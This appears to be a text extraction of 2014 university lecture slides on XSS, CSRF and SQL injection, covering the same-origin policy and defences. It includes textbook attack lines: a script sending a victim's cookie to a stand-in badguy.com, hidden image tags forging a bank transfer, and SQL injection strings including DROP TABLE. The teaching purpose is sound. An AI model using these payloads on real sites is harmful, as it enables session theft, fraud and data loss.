CSCD 303 Essential Computer Security Winter 2014 Lecture 12 – XSS, SQL Injection and CRSF Reading:...

CSCD 303Essential ComputerSecurityWinter 2014

Lecture 12 – XSS, SQL Injection and CRSF

Reading: See links - End of Slides

Overview

• Idea of XSS, CSRF and SQL injection is to violate the security of the Web Browser/Server system

• Inject content on web pages that trick users or

• Inject content on web pages that trick web servers

• Result is stolen resources or destruction of information

Web Based Attacks

Application LayerAttacker sends attacks

inside valid HTTP requests

Your custom code is tricked into doing something it should not

Security requires software development expertise, not signatures

Network LayerFirewall, hardening,

patching, IDS, and SSL cannot detect or stop attacks inside HTTP requests.

Security relies on signature databases

Firew

all

Hardened OS

Web Server

App Server

Firew

all

Datab

ases

Leg

acy System

s

Web

Services

Directo

ries

Hu

man

Resrcs

Billin

g

Custom Code

APPLICATIONATTACK

Ne

two

rk

La

ye

rA

pp

lica

tion

L

ay

er

Acco

un

ts

Fin

ance

Ad

min

istration

Tran

saction

s

Co

mm

un

ication

Kn

ow

ledg

e Mg

mt

E-C

om

merce

Bu

s. Fu

nctio

ns

Insider

Types of Web Attacks

• What kinds of Web attacks are popular?

• Inadequate validation of user input Named Attacks Below –Cross site scripting, XSS–Cross site request forgery, CSRF– SQL Injection

Cross-site Scripting (XSS) • Cross-site scripting (XSS) computer

security vulnerability typically found in web applications– “Allows code injection by malicious web users

into web pages viewed by other users”• Examples of such code include HTML code and

client-side scripts• An exploited cross-site scripting vulnerability can

be used by attackers to bypass access controls such as same origin policy for scripts– As of 2012 and 2013 cross-site scripting is

number one web site problem

Same Origin Policy Web Scripts

• Intent is to let users visit untrusted web sites without those web sites interfering with user's session with honest web sites

• Same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin

• Two pages have same origin if the protocol, port (if one is specified), and host are the same for both pages

• http://www.w3.org/Security/wiki/Same_Origin_Policy

URL Outcome Reason

http://store.company.com/dir2/other.html Success

http://store.company.com/dir/inner/another.html Success

https://store.company.com/secure.html Failure Different protocol

http://store.company.com:81/dir/etc.html Failure Different port

http://news.company.com/dir/other.html Failure Different host

Example Websites XSS’d• A hacker was able to insert JavaScript code into

the Obama community blog section– The JavaScript would redirect the users to the Hillary

Clinton website http://www.youtube.com/watch?v=pAS7kCgjkEw

http://www.crn.com/news/security/207401353/ obama-website-hacked-users-redirected-to-clinton-

campaign.htm

• Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had XSS bugs

• List of websites XSS are here http://www.xssed.com/archive

• Example of XSS Attackhttp://www.acunetix.com/websitesecurity/xss/

9

Cross Site Scripting (XSS)

• Recall …– Scripts embedded in web pages run in

browsers– Scripts can access cookies • Get private information

–Manipulate page objects• Controls what users see

– Scripts controlled by same-origin policy• How could XSS occur?–Web applications often take user inputs and

use them as part of webpage

XSS Example • User input is echoed into HTML response• Example: Search field– http://victim.com/search.php ? term =

apple

search.php responds with this page:

<HTML> <TITLE> Search Results </TITLE>

<BODY>Results for <?php echo $_GET[term] ?> :. . .</BODY> </HTML>

• Is this exploitable?

XSS ExampleAttacker’s Bad input

• Problem: No validation of input term • Consider this link: http://victim.com/search.php ? term =

<script> window.open(“http://badguy.com?cookie = ” + document.cookie ) </script>

• What if user clicks on this link?1. Browser goes to victim.com/search.php2. Victim.com returns

<HTML> Results for <script> … </script>Browser executes script:

• Sends badguy.com cookie for victim.com

XSS Results of this Attack• Why would user click on such a link?– Phishing email in webmail client (e.g.

gmail).– Link in doubleclick banner ad–… many, many ways to fool user into

clicking

• What if badguy.com gets cookie for victim.com ?– Cookie can include session authentication

for victim.com• Or other data intended only for

victim.com Violates same origin policy

XSS Example

• However, there is a great site with many cut and paste opportunities to try this out

A complete cheat sheet for XSS:

http://ha.ckers.org/xss.html

Preventing XSS

• Escape all user input when it is displayed– Escaping converts the output to harmless

html entities• <script> becomes <script> • but still displayed as <script>

–Methods:• OWASP ESAPI• Java Standard Tag Library (JSTL) <c:out/>

OWASP XSS Prevention Cheat Sheet https://www.owasp.org/index.php/ XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Preventing XSS Security Expert Coding Recommendations

http://www.jtmelton.com/tag/cross-site-scripting/

.NET: use the Microsoft Anti-XSS Library

http://msdn.microsoft.com/en-us/security/aa973814.aspx

XSS Prevention

Noscript Firefox Add-on• Noscript: JavaScript, Java, Flash Silverlight and possibly other executable contents are blocked by default–Will be able to allow JavaScript/Java/...

execution (scripts from now on) selectively, on the sites you trust

–Must first enable Javascript in Firefox http://noscript.net/features

Cross Site Request ForgeryCSRF

What is Cross Site Request Forgery?

Define it Cross-Site Request Forgery (CSRF) is an attack

that tricks victim into loading a page that contains a malicious request

It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf

• Change victim's e-mail address,• Change home address, or • Change password, or purchase something

CSRF Attack - Background

•WWhen you authenticate to Web application, Server provides you with a session cookie•TBrowser remembers session cookie name, value and domain it came from for further use

– From this point on, every request initiated from browser to the application will contain the session identifier for the particular domain

– The browser automatically supplies this information so the developers don’t have to do it themselves

3

2

Attacker sets the trap on some website on the internet(or simply via an e-mail)

1

Vulnerable site sees legitimate request from victim and performs the action requested

<img> tag loaded by browser – sends GET request (including credentials) to vulnerable site

Custom Code

Accou

nts

Fin

an

ce

Ad

min

istra

tion

Tra

nsactio

ns

Com

mu

nic

ati

on

Kn

ow

led

ge

Mg

mt

E-C

om

merc

e

Bu

s.

Fu

nctio

ns

Hidden <img> tag contains attack against vulnerable site

Application with CSRF vulnerability

While logged into vulnerable site,victim views attacker site

Cross Site Request Forgery (CSRF) •C

Cross Site Request Forgery, also XSRF or Cross Site Reference Forgery

– Works by exploiting trust of site for the user– In the case of XSS, the user is the victim– In the case of CSRF, the user is an accomplice.

Example: http://site/stocks?buy=100&stock=ebay

– Allows specific actions to be performed when requested

If a user is logged into site and an attacker tricks their browser into making a request to one of these task urls, then task is performed for logged in user … but the user didn’t intend to do it

Dangers of CSRF• Most of the functionality allowed by website can

be performed by an attacker utilizing CSRF

• What does this mean for victims?– This could include• Posting content to a message board,• Subscribing to an online newsletter,• Performing stock trades, using a shopping

cart, or• Even sending an e-card

CSRF More Details• The most popular ways to execute

CSRF attacks• Using a HTML image tag, or

JavaScript image object–An attacker will embed these into an

email or website so when user loads page or email, they perform a web request to any URL of attackers liking

• Examples follow

CSRF Code Examples• HTML Methods

IMG SRC <img src="http://host/?command">

SCRIPT SRC <script src="http://host/?command">

IFRAME SRC <iframe src="http://host/?command">

• JavaScript Methods

'Image' Object <script> var foo = new Image(); foo.src = "http://host/?command"; </script>

Another CSRF Example

• Say, online banking site performs a transfer of funds action by calling a URL such as:

http://bigsafebank.com/ transfer.do?

acct=ATTACKER&amount=1000

– This URL will transfer $1000 from a victim’s account into the attacker’s account if the victim is logged into their account within

BigSafeBank website

CSRF Example• Attacker must fool victim into clicking link

and executing malicious action• Attacker can create an HTML email with a

tag such as: <img src="http://bigsafebank.com/transfer.do?

acct=ATTACKER&amount=1000" width="1" height="1" border="0">

• When a victim views this HTML email,• Will see an error indicating that image could

not be loaded, • But browser still submits transfer request to

bigsafebank.com without requiring any further interaction from the user

CSRF Example

• Crazy part is … Even though the image was rendered unsuccessfully,

• Using <img> tag, an automatic http request was made that contained the victim's credentials,

• Ie. Session Cookie• Allowing the server to perform the

malicious action

CSRF Why Does it Happen

• A web application's vulnerability to CSRF is due to the following conditions:– The use of certain HTML tags will result

in automatic HTTP Request execution.–Our browsers have no way of telling if a

resource referenced by an <img> tag is a legitimate image– The loading of an image will happen

regardless of where that image is located.

CSRF Why Does it Happen

• More reasons why ...– Code within web application performs security

sensitive operations in response to requests without validation of user

– GET requests are especially vulnerable to this type of attack, but POST requests are not immune

Fixing CSRF with CSRF Guard

http://www.owasp.org/index.php/How_CSRFGuard_Works

• The Open Web Application Security Project (OWASP)• Developed a tool, CSRF Guard to implement session-token idea to thwart CSRF attacks• When user first visits site, application will generate and store a session specific unique request token• This session specific unique request token is then placed in each form and link of HTML response, ensuring that this value will be submitted with the next request• For each subsequent request, application must verify existence of unique token parameter and compare its value to that of value stored in user's session

SQL Injection

SQL Injection

• Very Common vulnerability (~71 attacks/hour )

• Exploits Web apps Use Databases– Poorly validate user input for SQL string literal

escape characters, e.g., '– Do not have strongly screened user input

• Example – escape characters"SELECT * FROM users WHERE name = '" + userName

+ "';" • If userName is set to ' or '1'='1, the resulting SQL is

SELECT * FROM users WHERE name = '' OR '1'='1';• This evaluates to SELECT * FROM users ⇒ displays

all users

SQL Injection

• Example – Select statement

"SELECT * FROM userinfo WHERE id = " + a_variable + ";"– If programmer doesn’t check a_variable is

a number, attacker can set a_variable = 1; DROP TABLE users– SQL evaluates to SELECT * FROM userinfo WHERE id=1;DROP

TABLE users; – Result of this query?–Users table is deleted

Impact of SQL Injection - Dangerous• At best: you can leak information• Depending on your configuration, a

hacker can– Delete, alter or create data– Grant direct access to the hacker– Escalate privileges and even take over the

OS

Preventing SQL injection • Use Prepared Statements

– $id=1234– “select * from accounts where id = “ + $idNext one is safer – More exact– “select * from accounts where id =1234”

• Validate input– Strong typing

• If the id parameter is a number, try parsing it into an integer– Business logic validation

• Escape questionable characters– ticks, --, semi-colon, brackets

Summary

• Experts suggest,– Internet Security model is completely

flawed–Made worse by Web 2.0–As developers … we can at least ensure

our code is not broken–As users … we have far less control– Browser security !!!!

References• CSRF Links– CGI FAQ on Cross Site Request Forgery

(CSRF) http://www.cgisecurity.com/articles/csrf-faq.shtml

– Art of Software Security Assessment – Same Origin

http://taossa.com/index.php/2007/02/08/same-origin-policy/

– OWASP CSRF Sitehttp://www.owasp.org/index.php/CSRF

– MSDN Article on CSRF Explainedhttp://msdn.microsoft.com/en-us/testing/

cc664492.aspx

–Wikipediahttp://en.wikipedia.org/wiki/Cross-

site_request_forgery

ReferencesXSS http://www.cgisecurity.com/articles/xss-faq.shtml

http://sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html

http://www.cgisecurity.com/articles/xss-faq.shtml

http://msdn.microsoft.com/en-us/testing/cc664492.aspxhttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

References

SQL Injection Cheat Sheethttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

SQL Preventionhttp://www.marcofolio.net/features/

how_you_can_prevent_an_sql_injection.html

SQL Attacks from UnixWizhttp://www.unixwiz.net/techtips/sql-injection.html

OWASP SQL Injectionhttps://www.owasp.org/index.php/

SQL_Injection_Prevention_Cheat_Sheet

CSCD 303 Essential Computer Security Winter 2014 Lecture 12 – XSS, SQL Injection and CRSF Reading:...

Documents

Transcript of CSCD 303 Essential Computer Security Winter 2014 Lecture 12 – XSS, SQL Injection and CRSF Reading:...